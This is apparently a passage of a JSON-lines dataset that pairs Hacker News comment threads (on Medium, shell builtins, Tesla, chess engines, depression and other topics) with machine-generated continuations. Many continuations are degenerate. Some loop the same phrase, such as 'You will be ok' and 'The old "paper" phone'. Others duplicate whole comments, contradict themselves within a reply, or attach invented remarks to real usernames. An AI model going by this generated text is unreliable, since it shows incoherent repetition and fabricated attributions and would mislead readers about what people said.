pricing page and didn't look any further, Deis has the same\nworkflow (and much of the same stack, Cedar) as Heroku. The whole thing is\nbuilt on docker containers, and designed with failover in mind.\n\nI see that Codeship costs a fair amount"} +{"output_text": " say that the US is \"at war\" with the Taliban? I\ndon't think so.\n\n~~~\njlgreco\nI think it is fair to say that the US is at war with the Taliban.\n\n~~~\nuntog\nI don't think so. The Taliban are a group of people who have been fighting\nagainst the US for years. They are not a state.\n\n~~~\njlgreco\nI think you are confusing the Taliban with", "input_text": " concludes that the authority claimed by the government to\ndetain those who were \"part of... Taliban or al Qaida forces\" is consistent\nwith the law of war\n\n>the government has the authority to detain members of \"associated forces\" as\nlong as those forces would be considered co-belligerents under the law of war\n\nBut note that _Hamlily_ applies to detention and not execution. And in this\nexecution whitepaper, it clearly states that the definition of associated\nforces \" _includes_ a group that would qualify as a co-belligerent under the\nlaws of war\". The phrase _includes_ leaves a lot of room for the term\n\"associated forces\" to apply to other things.\n\nBut anyway, IANAL.\n\nLink to Hamlily v. Obama (PDF):\n[http://scholar.google.ca/scholar_case?case=15512898181635760...](http://scholar.google.ca/scholar_case?case=15512898181635760339&hl=en&as_sdt=2&as_vis=1&oi=scholarr&sa=X&ei=MpUQUaXcF82ayQGAyoGYDw&ved=0CC4QgAMoADAA)\n\nLink to AUMF (PDF): [http://www.lawfareblog.com/wp-\ncontent/uploads/2012/10/Author...](http://www.lawfareblog.com/wp-\ncontent/uploads/2012/10/Authorization-for-Use-of-Military-Force-2001.pdf)\n\n------\nmatmann2001\nUnfortunate automatic URL generation.\n\n------\nuntog\nIs it really that fair to"} +{"output_text": " because you know them, or do you like gay\npeople because you like them?) but the fact is that it's a pretty strong\ncorrelation.\n\nI think the same thing is true of Microsoft. The people who work there are\nprobably pretty smart, but they're also probably pretty homophobic.\n\n~~~\njrockway\nI think the same thing is true of Microsoft. The people who work there are\nprobably pretty smart, but they're also probably pretty homoph", "input_text": ").\n\n~~~\ntrezor\nIt has gotten better recently, but it is lagging quite a lot compared to plain\nChrome.\n\nText rendering used to be horrible but it has gotten better. But if I can't\neven configure proxy settings without hacky gconf editing, that tells you that\nyou are definitely using a browser in catch-up mode.\n\n------\ntybris\nI thought we were past the short-sighted Microsoft is evil childishness. In\ngeneral, if you think a large group of people is evil or stupid (especially if\nthese people are known to be very, very smart), you are wrong and should be\nwondering why.\n\nIf a company is growing its business is to be on the offense, challenging the\ncompetitors products. When it becomes too big to adapt to the changing needs\nof the customer quickly it needs to go on defense to protect its business. Has\nnothing to do with stupid or evil, just business.\n\n~~~\nrdrimmie\nThe post isn't about evilness (and in fact Dash has frequently defended\nMicrosoft, as he states). The post is about a corporate entity growing past\nthe point where the internal concept of'self' that its staff has differs\nlargely from the external concept of its identity that the public has.\n\n \n\nInterracial Roommates Can Reduce Prejudice - tokenadult\nhttp://www.nytimes.com/2009/07/08/us/08roommate.html\n\n======\nseldo\nThis isn't too surprising to me. In the world of gay rights, it's well-known\nthat the biggest predictor of having positive attitudes to gay people is\nknowing at least one gay person. People debate about whether this is cause or\neffect (do you like gay people"} +{"output_text": " use to do things\nthat you couldn\u2019t do before.\"\n\n[http://www.chess.com/news/view/usain-bolt-on-the-\nchessboard](http://www.chess.com/news/view/usain-bolt-on-the-chessboard)\n\n~~~\ntoolslive\nI think the article is a good example of the \"I don't know about computers\"\nmentality.\n\n", "input_text": " hours of computer analysis, and many top-level games these\ndays, especially the infamous ~20-move \"grandmaster draws\" are little more\nthan one grandmaster's home-prepped computer engine analysis being pitted\nagainst the other. In other words, many \"human\" games are effectively a game\nbetween two computers :)\n\n~~~\npk2200\nChess opening theory is the result of ~150 years of mostly human effort.\nGrandmasters do use computers to assist with opening preparation, but it's\ncertainly not the case that computers have completely rewritten the opening\nbooks. In fact, I can't think of a single example of a computer significantly\naltering the evaluation of a major opening system. They do make small\nimprovements, but almost all of the major openings that were popular 30 years\nago are still popular today.\n\n------\ntoolslive\nDoes Usain Bolt feel bad about himself, because a Ferrari is faster on the\n100m flat? Should he stop competing because of it? Does a weightlifter feel\nbad because a fork lift exists? Does this kill weightlifting as a competition?\nSo why would this be the case for Chess?\n\nAnyway, is it just me or does the article feel like having been written by\nsomeone who doesn't know about computer chess?\n\n~~~\ntbrake\nViswanathan Anand himself had a quote which reflects this mentality and is a\ngood way of looking at it :\n\n\"[...] but since most of chess is tactically based they do many things better\nthan humans. And this imbalance remains. I no longer have any issues. It\u2019s bit\nlike asking an astronomer, does he mind that a telescope does all the work. He\nis used to it. It is just an incredible tool that you can"} +{"output_text": " blogs moved to Medium?\"\n[https://news.ycombinator.com/item?id=10658880](https://news.ycombinator.com/item?id=10658880)\n\n------\njoshstrange\nI'm not sure I agree with the premise of this article. I've been blogging for\nover 10 years and I've never had a problem with Medium. I've had a few\ncomplaints about the design but that's", "input_text": " blogging that _writing a blog post_ is separate from the work of\nmaking the blog itself look beautiful, and that should focus on the former and\nwe can then work on the latter.\n\nMedium gives the latter without much work, and for aspiring writers, that's\nthe incentive to finally try blogging out and feel like they've done something\nsubstantial. If it gets more people into the mindset of being creators instead\nof passive web consumers, I think Medium has been a good thing overall.\n\n------\nredthrowaway\nSo, Medium is big. That's pretty much all I took from that. He lists no\nproblems with it, except maybe they might one day be the sort of company to do\nsomething you don't like.\n\nThis isn't a criticism. It isn't even a rant. It's not focussed enough to be\neither. It's somebody worrying about writing on the Internet being largely\ncontrolled by a single company. Which, of course, it isn't. Never was and\nnever will be.\n\n------\nblt\n_> Medium is on its way to becoming the consensus platform for writing on the\nweb_\n\nJesus, I hope not. I have better ways to burn my phone battery. The Medium\nversion of this post contains 388kb of javascript and 312kb of CSS. Medium's\nengineering is terrible.\n\n------\nkrallja\nMedium broke the \"Signal v. Noise\" RSS feed by truncating articles. I\ncomplained to Basecamp; they blamed Medium. I complained to Medium; they said\nthey might consider fixing it.\n\nRun your own blog on your own website. Then you don't have to depend on\nsomeone else to fix your bugs.\n\n------\nminimaxir\nRelevant discussion: \"Why have most tech and startup"} +{"output_text": ", and you can get a sense of what they are willing\nto pay for.\n\n------\nmattmaroon\nI'd start with the people who are actually using the product. If you can't\nfind anyone, then you're probably not doing it right.\n\n------\nmattmaroon\nI'd start with the people who are actually using the product. If you can't\nfind anyone, then you're probably not doing it right.\n\n------\nm", "input_text": "\nRivalMap (previously Competitious) is an excellent tool that helps us organize\nand discuss market analysis in our startup. There is a free edition for 3\nusers and I think they are adding news soon too.\n\n------\nprakash\nTo get accurate answers and hard data, it's best to talk to someone on the\ninside i.e. who has spent some time in that industry.\n\nA couple of good starting points: \\- www.webhostingtalk.com \\-\nwww.streamingmedia.com\n\n------\nmynameishere\n_data transfer rates, processor usage, hardware acceleration_\n\n(Market Analysis?) Since you don't seem to have the vocabulary down, I\nrecommend starting with the basics:\n\n[http://www.va-\ninteractive.com/inbusiness/editorial/sales/ibt...](http://www.va-\ninteractive.com/inbusiness/editorial/sales/ibt/market_analysis.html)\n\n------\nOpenWebU\nalso, i'd like to comment is that you are doing'market analysis' third-hand\n-- the products that companies offer are a combination of their opinion of\nwhat the markets need, and their own response to customers.\n\nIMHO, true market analysis is going to the real end-customer (the customers of\nthe hosting vendor). If it is obvious what the very they need and what they\nare willing to pay for, then no need to do this. But let's say as an example,\nthe true end-customers are large IT departments. I'd look around and find\nsomeone in that IT department to interview and find them across industries,\nand see what they are willing to buy. Often these customers are listed as\nreferences on their website"} +{"output_text": "command that has a subshell.\n\n------\njwilk\nI'm not sure why this is on the front page.\n\n~~~\ntyingq\nIt's a pretty interesting read.\n\n------\njwilk\nI'm not sure why this is on the front page.\n\n~~~\ntyingq\nIt's a pretty interesting read.\n\n------\njwilk\nI'm not sure why this is on the front page.\n\n~~~", "input_text": ".\n\n------\ndevnonymous\nSo also are /usr/bin/{cd,[,echo,pwd,fg,..etc} a lot of them having subtle\ndifferences with their corresponding shell builtins. Most of the time the\ndifferences are not worth the hassle to remember, unless you somehow end up on\na system with a broken filesystem (for example where /lib or /usr/lib is\ndestroyed) and need to rescue stuff.\n\n------\ncmurf\nOn Fedora Linux, '/usr/bin/time -v ' rather than -l.\n\n------\nsaagarjha\nSo it's just like /usr/bin/cd\u2013a builtin that also has a binary.\n\n~~~\ntyingq\nHow would that work? A forked/execed subprocess somehow forcing chdir() in\nit's parent?\n\nGuessing it isn't terribly useful.\n\n~~~\nzwp\nI too don't see how it is useful but it's certainly a thing. The Solaris\nimplementation looks like this:\n\n \n \n #!/bin/ksh -p\n #...\n cmd=`basename $0`\n $cmd \"$@\"\n \n\nI just noticed that the what(1)-string (I haven't seen on of those for a long\ntime) references \"alias.sh\", perhaps this is a clue?\n\n \n \n #ident \"@(#)alias.sh 1.2 00/02/15 SMI\"\n \n\nWere builtins actually aliases in an early shell? I still don't understand how\nthis works though.\n\n~~~\ntyingq\nThat's a funny implementation. It would end up being an infinite loop for any\n"} +{"output_text": " to be handwritten on paper.\n\n* The old \"paper\" phone.\n\n* The old \"paper\" phone.\n\n* The old \"paper\" phone.\n\n* The old \"paper\" phone.\n\n* The old \"paper\" phone.\n\n* The old \"paper\" phone.\n\n* The old \"paper\" phone.\n\n* The old \"paper\" phone.\n\n* The old \"paper\" phone.\n\n*", "input_text": "very very light on content, yes we should be looking to make wonderfully\nusable applications for non technical users, I dont think anyone aims to make\nan unusable site.\n\nBut how can we do it, what have we been getting wrong so far, what design\nidioms need to be thrown out and what innovative ui's help users? thats what I\nwant to hear.\n\n~~~\nsthomps\nVery good point, I will try to put that into another blog post in the near\nfuture. I know that there is a book that goes along with this, \"The Inmates\nAre Running The Asylum\" as well.\n\n~~~\nidlewords\nDude, with all due respect, you're 18, your product is in triple-closed alpha,\nand your writing is entirely aspirational.\n\nLess talk, more rock. Go out and do something, and then blog about it once\nyou've learned something interesting. If you want to psych yourself up with\nself-help stuff, keep a private diary.\n\n~~~\nsthomps\nYou are entirely correct. None of the content I am writing can hold true\nmeaning until I have made it. All of the writing at this point is purely my\nopinions on what I observe and the process that I am going through.\n\n------\njasonlbaptiste\nAnother thought: find products that exist in physical form, but can be\nreplaced by something that is much more high-res / efficient with technology.\nWhat physical things won't exist in 5-10 years time because technology can\nreplace them. Mainstream users usually adopt products that do this. Examples:\n\n* Campuses used to hand out \"facebooks\" to freshman so they could get to know their fellow students + have a directory.\n\n* Spreadsheets used"} +{"output_text": "\nI am not sure if this is a good thing or not. I think it is a good thing that\nthe government is taking a more active role in the economy.\n\n~~~\njjeaff\nI think it's a good thing that the government is taking a more active role in\nthe economy.\n\nBut I think it's a bad thing that the government is taking a more active role\nin the economy.\n\n~~~\nycombonator\nI agree.", "input_text": " I use a VPN I have to prove to google I'm not a robot...\nbut using a shell company to buy up real estate? Definitely no picking out all\nof the buses in a bunch of pictures.\n\n~~~\ndehrmann\nDisney used shell companies to buy up land for Disney World in the 60's. They\ndid it so buyers couldn't find out it was Disney and demand more money.\n\n[https://www.latimes.com/business/la-fi-disney-shell-\ncompanie...](https://www.latimes.com/business/la-fi-disney-shell-\ncompanies-20160408-story.html)\n\n------\nH8crilA\nUS net international investment position is at -$11T:\n[https://fred.stlouisfed.org/series/IIPUSNETIQ](https://fred.stlouisfed.org/series/IIPUSNETIQ)\n\nThat's ~50% of GDP.\n\nWorrying about a few homes here and there is quite pointless against this\nbackdrop.\n\n------\nnickthemagicman\nIt reminds me of Moldova after the fall of the Soviet Union: oligarchs running\nwild, stashing their gains in buildings,\u201d James Wright, an attorney and former\nTreasury Department bank examiner, told me. He now helps foreign governments\ncombat money laundering. \u201cBack then, you\u2019d walk down the street, and people\nwould say, \u2018That building is a washing machine.\u2019 Everyone knew it. Today,\nAmerica is not that different.\u201d\n\nAre we that different from the Soviet Union?\n\n~~~\nxenospn\nLess sarcastic, but overall not that different.\n\n------\nycombonator"} +{"output_text": " in the background -- are still standing.\n\n------\njrockway\nI'm not sure what the point of this is. It's a video of a streetcar in San\nFrancisco.\n\n~~~\njrockway\nI guess I should have said \"San Francisco streetcar\" instead of \"San\nFrancisco streetcar\".\n\n------\njrockway\nI'm not sure what the point of this is. It's a video of a streetcar in San", "input_text": "point with it so early. Thanks for the link, BTW!\n\n------\njordanb\nThe blog says the street seems wider in the 1908 film. I think that's a\ncombination of a lack of street trees and curbs, and shorter buildings in the\nbackground.\n\nI wonder why the car doesn't stop for passengers. You can see several waiting.\nOne even waves at the driver. My thought is that either the car was stopping\nand the video was edited, or it was a special run for the benefit of the\ncamera.\n\nA few more observations:\n\n* While there are many fewer pedestrians in the 2005 video, there are more bicycles. And the bicycles actually have adults on them (not sure about the guy in the cape though).\n\n* The streetcar seems to move much faster in 2005, covering considerably more ground in less time.\n\n* While 2005 looks much more orderly, automobiles are still erratically darting out in front of the streetcar. Some things don't change I guess..\n\n------\nmattmaroon\nThat can't be San Francisco, the cameraman never once gets assaulted by\noverly-aggressive homeless people.\n\n------\njaybol\nWow and it is a music video for Air...double bonus! There is an incredibly\ncool map store in San Francisco, and as you would expect, the proprietor is\nvery friendly. It is called Schein and Schein\n( the website doesn't do it justice) and they\nhave some beautiful old maps and photobooks, with a large portion of the\ncollection devoted to SF and California history.\n\n------\nnovum\nNone of the buildings in this video -- save the Ferry Building whose tower you\ncan see"} +{"output_text": " and I think that's a mistake.\n\nThe author is right that the protests are a symptom of a larger problem, but\nthe problem is not the protesters. The problem is the police.\n\nThe police are the ones who are killing people, and they are the ones who are\nnot being held accountable.\n\nThe protesters are not the problem. The problem is the police.\n\n~~~\njessaustin\n_The police are the ones who are killing people,", "input_text": " I'm in graduate school right now and you won't get a call back for\n2nd rounds if you have a beard. It's some sort of irrational proxy for\ndiscipline.\n\n------\nmariodiana\n> Alumni should take it into account before writing any more checks.\n\nThis is the key takeaway for anyone interested in getting this nonsense to\nstop.\n\n------\neconnors\nAs a student at Dartmouth, I find this article to be extremely accurate and\nrepresentative of the culture I've encountered amongst the protests here and\n(through conversations with friends) at other places across the country. As a\nwhite male, my friends and I are too intimidated by the Black Lives Matter\nprotesters and their actions to try to initiate any sort of discussion on the\nmatter in fear that we'll only provoke more anger and protest.\n\n~~~\nflopto\nIf people are angry about X and you go up to them and try to tell them how\nmuch you like/support X, isn't that what you'd expect? To make people want to\nengage you in a thoughtful discussion, it's important to demonstrate humility\nand open-mindedness to their opinions.\n\n~~~\nremarkEon\nI recently tried to engage a BLM protester about the issues, hoping to have a\nthoughtful discussion about some policies and ways forward to improve the\nsituation. 3 paragraphs latter, I was being told that my white privilege\nshould exclude me from even participating in the discussion, let alone\ninforming decisions about policy - ostensibly because I do not have a shared\nexperience of discrimination.\n\nDisclaimer: I'm a white male from the midwest.\n\n------\nlanny\nWhile I agree with most of the article, the author tries to politicize it at\npoints,"} +{"output_text": " no idea what they were talking about.\n\n~~~\njoshu\nI think you're right.\n\nI think the problem is that people are afraid to ask questions.\n\nI think the problem is that people are afraid to ask questions that are\ndifficult.\n\nI think the problem is that people are afraid to ask questions that are\ndifficult because they don't know how to ask them.\n\nI think the problem is that people are afraid to ask questions that are", "input_text": ".\n\nI am just curious. Everyone acts rationally from their point of view. Why do\npeople do what they do? What makes them successful? Failures? What is their\ntake on living? Most people are passionate about something, so tell me about\nit. I'll learn something new.\n\nI spent a lot of time learning how to actively listen, not just wait for an\nopportunity to jump into a conversation with my own immature opinions. (I have\nmany.) I am not afraid to ask dumb questions in an effort to learn. I have no\nfear that people will think I am stupid. Actually, asking questions makes you\nlook like a genius.\n\nCaveat: There are some people who lack the spark of life. I don't spend time\nwith them.\n\n~~~\nctdonath\n_Most people are passionate about something, so tell me about it._\n\nThat's my sticking point: in situations referred to, the person in question\nall too often isn't prone to discussing what he _want_ to discuss, but what\nhis fans do. How to, as a random face wandering up as so many do, can one\nelicit some fragment of \"say, what do _you_ want to talk about or do?\"\n\nThe nuance struck me when meeting (as just another face in the room) Steve\nReich and Philip Glass. During a talk, Reich lamented that everyone wanted to\ngush over his early works, which he made clear he viewed as immature - not\nbad, but something he has moved far beyond. Able to stand nearby someone's\nhallway chat with Glass, I was struck by how _much_ the two had to talk about,\nhow the other person wasn't anyone the great composer knew, and how I had\nabsolutely"} +{"output_text": " of the total\n> population who will be the most accurate.\n\n~~~\nmikeash\nI don't think that's a response to me. It's a response to the question \"What\nif people who lived several centuries ago did a calculation on how many\nbirths there would be?\"\n\n~~~\nwrsh07\nI think you're right. I was thinking of the FAQ as a response to the question\n\"What if people who lived several centuries ago did a", "input_text": "\n\nYet we have not shrunk in size as the species has grown in population, and if\nanything, have grown larger.\n\nIf we look at the total biomass on earth, we are a fairly small portion of it.\nSo shouldn't we assume, as we are assuming our situation is average, that\nintelligent aliens are also a fairly small portion of their planet's biomass?\nAnd if so, wouldn't the size of the aliens themselves be something that has\nvery little to do with the total energy reaching the planet surface?\n\nI get that it's just statistical probability and math, and it's fun, but this\nparticular thing stuck out for me.\n\nIt was a fun read regardless, so thank you for the break from work!\n\n~~~\nwrsh07\nThey actually respond to you in the FAQ:\n\n> \"What if people who lived several centuries ago did a calculation on how\n> many births there would be?\"\n\n> This appears to be one of the most widespread misconceptions on the topic.\n> Many scientists have fallen into this trap, such as Lee Smolin's article\n> from 2004. In science there is never absolute certainty, only varying\n> degrees of confidence. We should never be 100% sure of anything. When\n> stating the degree of confidence in a result, typically 95%, it should be in\n> full knowledge that one time out of twenty, we will be wrong. 5% of the time\n> we will be misled by statistical chance.\n\n> Now if someone who lived tens of thousands of years ago estimates the total\n> number of human births, based on how many there had already been, they will\n> underestimate the truth. Because we now know there has been many more. But\n> those first 5% of people who ever lived represent the 5%"} +{"output_text": " not a requirement.\n\n------\njedberg\nI'm not sure I agree with the author's conclusion.\n\nI think the problem is that Amazon is a company that is very good at hiring\npeople who are already good at what they do.\n\nI've worked at Amazon for a few years now, and I've seen a lot of people come\nand go. I've seen people who were great at their job, and people who were\nterrible at their job", "input_text": " which a worker had died on\nthe job and her co-workers were told to carry on working in the presence of\nher corpse._\n\nNo, they didn't. This was about a different company.\n\n------\ndvfjsdhgfv\n> Apart from employing a lot of staff, Amazon does a number of things\n> progressives ought to like. For instance, it employs a very diverse group of\n> people. On my shift, I work with African-Americans, Asian-Americans,\n> Hispanic-Americans, white people, gay people, deaf people, ex-convicts, and\n> people whose ethnicities and even genders are a mystery to me.\n\nThis is a warehouse job with a medium low salary. If the author worked as a\nprogrammer and could still repeat the above, that would really be commendable.\n\n~~~\nDrScump\n\n If the author worked as a programmer and could still repeat the above\n \n\nAs a programmer for a \"stodgy\" defense contractor, the programmers in my group\nalone included our Chinese-born female project leader, a Hong Kong-born\nfemale, a deaf male (and new parent), an African-American female, a Cuban-born\nmale, an Iranian-born male, a Kuwaiti-born female, an ethnic Chinese SF-born\nfemale, and me.\n\nAnd we were _awesome_.\n\n~~~\ndvfjsdhgfv\n> And we were awesome.\n\nThat's excellent and I envy you, it must be a great team to work with and even\nhang out after work. But how is this related to Amazon?\n\n~~~\nDrScump\nIt addressed the parent comment that implied that programming organizations\nare inherently not diverse.\n\nToo many are not, but it's"} +{"output_text": " the car itself.\n\n~~~\nmikeash\nI think that's a bit of a stretch. The production line is the product, but\nthe car is the product.\n\n~~~\nsunstone\nI think you're right. I was thinking of the production line as the product\nbeing made.\n\n------\nmikeash\nI'm not sure I understand the point of this article. It's a long, rambling\nrant about how Tesla is a terrible company", "input_text": " on Tesla becoming the next Porsche as far as volume and market.\nThat's not a bad place to be, but it's not where the market has priced them\nat.\n\n~~~\ngfodor\nYeah that's why I said it's personal. I feel the design of the car is\nextremely forward looking and was primarily driven by good taste not cost\nconstraints. I hate to keep making the comparisons but it reminds me of Apple\nripping out all but essential components -- easy to see through the lens of\ncosts in the short term but in the long term provides freedom to take the\ndesign further in the next iteration. The 3 represents a foundational design\nthat transitions elegantly to autonomous control (imho) and will provide the\nvantage point Tesla needs to design their first from-the-ground up autocar.\n\n~~~\nBoorishBears\nThe problem for me is it feels like the market (and Tesla to an extent) has\njumped the gun.\n\nTesla hasn't demonstrated enough self-driving progress (and imo, no one has\nyet) to justify the car's design to me, nor being a company with a 54 billion\ndollar market cap.\n\nIt's one thing if FSD was just on the horizon, but there are an incredible\nnumber of very hard problems to solve before we get there. Yet Tesla is\ndesigning a car that requires FSD for justification of it's interior and\ncharging for FSD as a feature.\n\n------\nsunstone\nIn the run up to model 3 production Musk mentioned that \"the production line\nis the product\" because it was needed to be highly automated to make a great\ncar at a low price.\n\nClearly getting the production line wrinkles ironed out has been a much bigger\nchallenge than"} +{"output_text": " of things you want to do, and do\nthem.\n\n2\\. Stop thinking about the future. You will be ok. You will be ok. You will\nbe ok. You will be ok. You will be ok. You will be ok. You will be ok. You\nwill be ok. You will be ok. You will be ok. You will be ok. You will be ok.\nYou will be ok. You will be ok. You will be ok.", "input_text": " I could quit my startup, tell my partner and\nemployees to go fuck themselves. The good days, are good, I guess I can\nappreciate them more after this, they got some extra flavour. I can be a nice\nperson to work, or live with.\n\nIt's hard to talk. Even when I am able to tell someone \"this day sucks\" or \"I\nam heavily depressed\", I can't tell why, I don't know. Some people are really\nuncomfortable when you almost cry for no reason in front them. I don't really\nblame them, or their poor comments, they try, some are afraid that's ok.\n\n\"That's ok\", that's valid thing from them and for me. It's a good mantra. We\nusually slam more shit over the shit, and we bang our heads against the wall\n\"Why am I like that?\"... Leave it be! you are already feeling like shit, let\nyourself some air.\n\nAnd I guess you wrote this post in a \"down\". The few words that helped for me\nwere \"that's ok\" because all the rest seemed impossible.\n\nI have been very bad for months, there were one or two days in the week where\nit was bearable / I was feeling good. Just hiding it from coworkers was a\nchallenge, working from home helped to hide it, but not to get better.\n\nThere are a few things I can recommend because that worked for me, but it's\neasier to work on them on the good days.\n\n1\\. Stop blaming yourself. Really, you are ok, but I will extend on that\nlater. When you feel not able to do anything, just don't do anything. You will\nsurvive. You feel time craving, do a list"} +{"output_text": "-2000s Dell laptops. They were modular. You could take\nthe battery out and put it in another laptop. You could take the hard drive\nout and put it in another laptop. You could take the DVD drive out and put it\nin another laptop.\n\nI think the problem is that the modularity was too easy. You could just take\nthe battery out and put it in another laptop. You could just take the hard\ndrive out and put it in another laptop.", "input_text": "google-smartphone-idUKKCN11806C\n======\nxenadu02\nAnyone paying the slightest bit of attention knew this was the ultimate result\non the very day they announced it.\n\nTo make something modular you need to wrap each piece in its own case, add\nbulky connectors, etc. Both weight and volume are at an extreme premium in\nmobile devices. All that metal/plastic going in to making the pieces modular\nis stealing volume and weight from the battery.\n\nThe only realistic way to make the power envelope is to use an SoC, which\nmeans the CPU, GPU, and RAM must all be in the same module. That doesn't leave\na lot worth upgrading... maybe just the radio module. Jumping up in screen\nresolution would mean replacing the SoC to get a better GPU too.\n\nModularity worked in desktop PCs because they have gobs of space and an AC\npower connection.\n\n~~~\npeterjlee\nFirst thing that came into mind when I heard about project Ara was that,\nlaptops aren't modular because the increased size and weight will out weigh\nthe benefits. Seemed like the same situation applies to smartphones, only\nworse.\n\n~~~\nfnord123\nThey used to be modular until companies started to follow Apple down the\ncurrent path. I had a Dell Inspiron with removable battery, removable DVD\ndrive, and PCMCIA slot for modular functionality.\n\nNow we have come somewhat full circle with Apple's Macbook which has meagre\nhardware functionality and relies on USB-C to provide the missing\nfunctionality in a modular fashion. However it means a nest of cables so it's\nprobably not what anyone wants when they want a modular laptop.\n\n~~~\ndjsumdog\nI remember the old mid"} +{"output_text": "-\nspace/a1138/how-...](http://www.popularmechanics.com/science/air-\nspace/a1138/how-to-build-a-space-shuttle/)\n\n2) why is the article on Popular Mechanics so much better than the one on\nSpace.com?\n\n~~~\nrbanffy\nBecause the article on Popular Mechanics is written by a professional\njournalist, while the one on Space", "input_text": " to create the exact misconceptions\nyou are spreading.\n\nI don't think you looked at a single one of the links I posted. You are very\ncaught up in what Zubrin says, but you are not looking at what anyone else\nsays. So how do you know he's right, and they are wrong?\n\n------\nLocke1689\nFrom what I hear, it seems like reprieving the shuttle isn't really an option.\nIt's so out of date and unsafe that NASA isn't willing to use it anymore.\n\nSure there are problems with Ares, but isn't that what engineers are for?\n\n~~~\nrbanffy\nIt's fine, as long as you let them design the system.\n\nThe shuttle, as it is, came out of an engineer's drawing board, but not before\naddressing the wishes of a lot of politicians.\n\nI am all in for Ares, as long as engineers are in control. It seems they are\nnot.\n\n------\nedw519\nSounds like Obama needs to pull a \"Kennedy\" and define the goal. Amazing what\nsmart people can do with a little vision.\n\n~~~\nsketerpot\nIt helps to have funding that won't be cut off in two years by a mercurial\ncongress.\n\n~~~\nDanielBMarkham\nYes.\n\nPoliticians have a lot of vision, but little commitment.\n\nWe would have not went to the moon in the 1960s without the cold war.\n\n------\nTriinT\nTwo questions:\n\n1) why isn't the URL linking to the article on Popular Mechanics? (which is a\nlot better than this article)\n\n[http://www.popularmechanics.com/science/air"} +{"output_text": "angladesh embassy in Washington, who didn\u2019t do enough to stop the military\ndictator.\n\n~~~\nmatt4077\nI don't think it's patronizing to point out that the US is not the only\ncountry to have done bad things in the region.\n\nI also don't think it's patronizing to point out that the US is not the only\ncountry to have done good things in the region.\n\nI also don't think it's", "input_text": " of \u2018west\u2019 you are using include the US?\n\nIn case it is relevant, I am from New Zealand and think the disgusting\nbehaviour in the region started long before the US got involved and includes\nfar more countries than any set defined as \u2018western\u2019. Even places as far away\nand as small as New Zealand have ended up with a record of massacres and\nmurders when in involved in the region.\n\n~~~\nrayiner\nI\u2019m saying Americans blame the west, not necessarily that Americans blame\nAmerica. America had very little to do in the subcontinent, for example.\n\nAs to it being patronizing. Speaking for myself\u2014I think if you can\u2019t blame\npeople for the state of their own country, you\u2019re taking agency away from\nthose people. The British did lots of bad things in the subcontinent and\nlooted it. (They also left some really good values and ideas and\ninstitutions.) But that ended 70 years ago. In that same time period, South\nKorea went from being nearly as poor, and far more war torn, to being a\ndeveloped nation. It\u2019s not the absence of interference from the west that did\nthat, it\u2019s the industry and virtue of the Korean people. Likewise, to the\nextent Bangladesh hasn\u2019t grown as fast as it should (and to be fair, things\nhave gotten better at least on the economic side in the last decade), who is\nto blame? I think it\u2019s patronizing to continue to blame the west. Maybe blame\nthe fact that Bangladeshis supported a military dictator for President,\nsupported dismantling secularism, invited fundamentalism in from the Middle\nEast, etc. Whose fault is it? Maybe it\u2019s the fault of the clerks in the\nB"} +{"output_text": "ah-wah, Millennials are entitled and don 't want to do 70 hours per week of\nour grunt work, and they leave before they burn out and we can fire them._\n\nI'm not sure what you're trying to say here. I'm a Millennial, and I've been\nat my current job for over a year. I've been working 70+ hours per week for\nthe past year. I'm not leaving. I'm not entitled. I", "input_text": "ify it from being a \"good job\".\n\nFollow up needs to be \"Why Good People Stay at Bad Jobs\".\n\n~~~\nmisiti3780\nagree\n\n------\nmichaelochurch\nOP is a wanker. Wah-wah, Millennials are entitled and don't want to do 70\nhours per week of our grunt work, and they leave before they burn out and we\ncan fire them.\n\nPeople should leave jobs as soon as they realize they aren't going to learn or\ngrow where they are. This can happen after 8 years, or 3 months. Companies\ndon't promise to employ people for 3 years regardless of whether they are any\ngood, so why should an employee be expected to pay dues in a job that's\nobviously not going to lead anywhere?\n\nThe \"job hopper\" stigma is perpetuated by people who only want the side of \"at\nwill\" that benefits them.\n\nI will say that most 22-year-olds need to be better at figuring out when a job\nis worth leaving, because I've seen error on both sides. Everyone gets grunt\nwork when they start out, but there are chef's apprentices (who still get\ngrunt work, but are being primed for something better) and there are\ndishwashers, and it's important to figure out, in an entry-level job, which of\nthese you are. That's a separate matter altogether. I've known a few job\nhoppers and they're not all people with bad judgment.\n\nThat said, people should generally go into jobs with the intention and hope of\nbeing there for at least 2 years, but I think that goes without saying.\n\n~~~\nachompas\nHey Mike! Hope you're doing well.\n\n _W"} +{"output_text": " are a different thing. They're used to augment the\nhuman operator, not replace them.\n\n~~~\njessriedel\nI'm not sure what you mean by \"augment the human operator\". I'm not sure what\nyou mean by \"replace them\".\n\n~~~\nTHE_PUN_STOPS\nI'm not sure what you mean by \"augment the human operator\". I'm not sure what\nyou mean by \"replace them\".\n\n------\n", "input_text": ", and it also prevents positive outcomes. People chronically lie to their\ndoctors about their actual lifestyle behavior and then are surprised that the\nDr. didn't catch all the warning signs for some disease.\n\nMore data = better outcomes.\n\n~~~\ngnaritas\nCameras won't add more data as they'll simply discourage people from admitting\nanything or even going to a doctor. I would not allow my doctor to film me,\nnor would I imagine most sensible and normal people who have an ordinary sense\nof privacy. Your doctor works for you, not the other way around, you decide\nwhat is acceptable behavior, not them.\n\n------\njessriedel\n> The mechanics moved carefully, putting down tools and climbing up and down\n> ladders to consult paper instructions in between steps... Fast forward to\n> today, and GE\u2019s mechanics now use Glass running software from our partner\n> Upskill, which shows them instructions with videos, animations and images\n> right in their line of sight so they don\u2019t have to stop work to check their\n> binders or computer to know what to do next.\n\nThe article makes it sound like Google glass is the first to do anything like\nthis, and it was all paper manuals before that. In fact, aircraft\nmanufacturers have been using smart glasses for years to augment workers.\n\n[http://www.engineering.com/AdvancedManufacturing/ArticleID/1...](http://www.engineering.com/AdvancedManufacturing/ArticleID/14634/Airbus-\nUses-Smart-Glasses-to-Improve-Manufacturing-Efficiency.aspx)\n\nMaybe Glass is a significant improvement, but it's not unprecedented.\n\n~~~\nTHE_PUN_STOPS\nSmart glasses in aviation"} +{"output_text": "www.youtube.com/watch?v=rz51_wFgNrQ)\n\n------\njameshart\nI'm not sure if this is a good thing or not, but I'm really enjoying the\n\"chess engine\" that's been developed by the folks at\n[http://www.chessprogramming.com/](http://www.chessprogramming.com/)\n\n------\njameshart\nI'm not sure if this is a good", "input_text": "\n\nSo chess engines CAN be ported to a GPU. From here on out, its a matter of\nexperimenting with various methodologies to see what creates the most powerful\nchess player.\n\n\\--------\n\nI'm going to have to go through the MCTS part later. Its clearly some kind of\nparallel implementation that batches up nodes for MCTS evaluation.\n\nThe GPU probably can run some of the MCTS stuff faster than the 